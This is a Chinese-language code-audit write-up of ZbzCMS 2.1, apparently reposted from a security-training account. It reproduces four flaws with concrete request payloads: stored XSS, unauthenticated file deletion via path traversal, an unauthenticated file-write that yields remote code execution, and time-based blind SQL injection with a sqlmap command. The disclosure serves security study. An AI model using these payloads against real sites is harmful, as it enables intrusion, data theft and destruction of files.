• ZbzCMS 2.1代码审计

• 漏洞复现
• 漏洞复现
• 漏洞复现
• 漏洞复现
• 存储型XSS
• 前台任意文件删除
• 前台未授权RCE
• 前台Mysql盲注

ZbzCMS 2.1代码审计

源码下载: https://pan.baidu.com/s/1DOFYZKdTAlpPiZ-MwEVXFw

存储型XSS

定位到一处存储XSS:
在/cms/common/php/ajax.php处

漏洞复现

在/cms/common/php/ajax.php?run=liuyan处抓包
构建payload:

1. POST传入：
2. diaoyongbiaoqian=hacker&neirong=<script>alert("what the hack")</script>&leixing=1.1.1.1

后台查看XSS是否生效

前台任意文件删除

定位到一处可能存在文件删除的漏洞
在/cms/cms/include/up.php处

在删除文件的操作中没有进行权限的识别

漏洞复现

测试删除hellword.txt文件
在/cms/cms/include/up.php?run=del处抓包
构造payload:

1. POST传入
2. url=../../../helloword.txt

放包后可以看到helloword.txt已经被删除

前台未授权RCE

在/cms/cms/admin/run_ajax.php 第461-470行
存在文件编辑保存操作

漏洞复现

传入Path neirong参数即可构成任意文件读写/创建操作
Payload：(在根目录写入一个hello.php文件):

1. POST /cms/cms/admin/run_ajax.php?run=wenjian_edit HTTP/1.1
3. path=../../../hello.php&neirong=<?php phpinfo();?>

在/cms/cms/admin/run_ajax.php?run=wenjian_edit处抓包
放包后可以看到生成了hello.php文件

访问hello.php成功

前台Mysql盲注

对代码进行复审，发现 /cms/common/php/ajax.php 存在SQL注入

漏洞复现

payload:
(这里是直接使用了sqlmap的payload)

run=ad&id=3 AND (SELECT 3437 FROM (SELECT(SLEEP(5)))QQHn)

使用sqlmap

python sqlmap.py -u "http://x.x.x.x//cms/common/php/ajax.php?run=ad&id=3" -p id

原文始发于微信公众号（掌控安全EDU）：ZbzCMS 2.1代码审计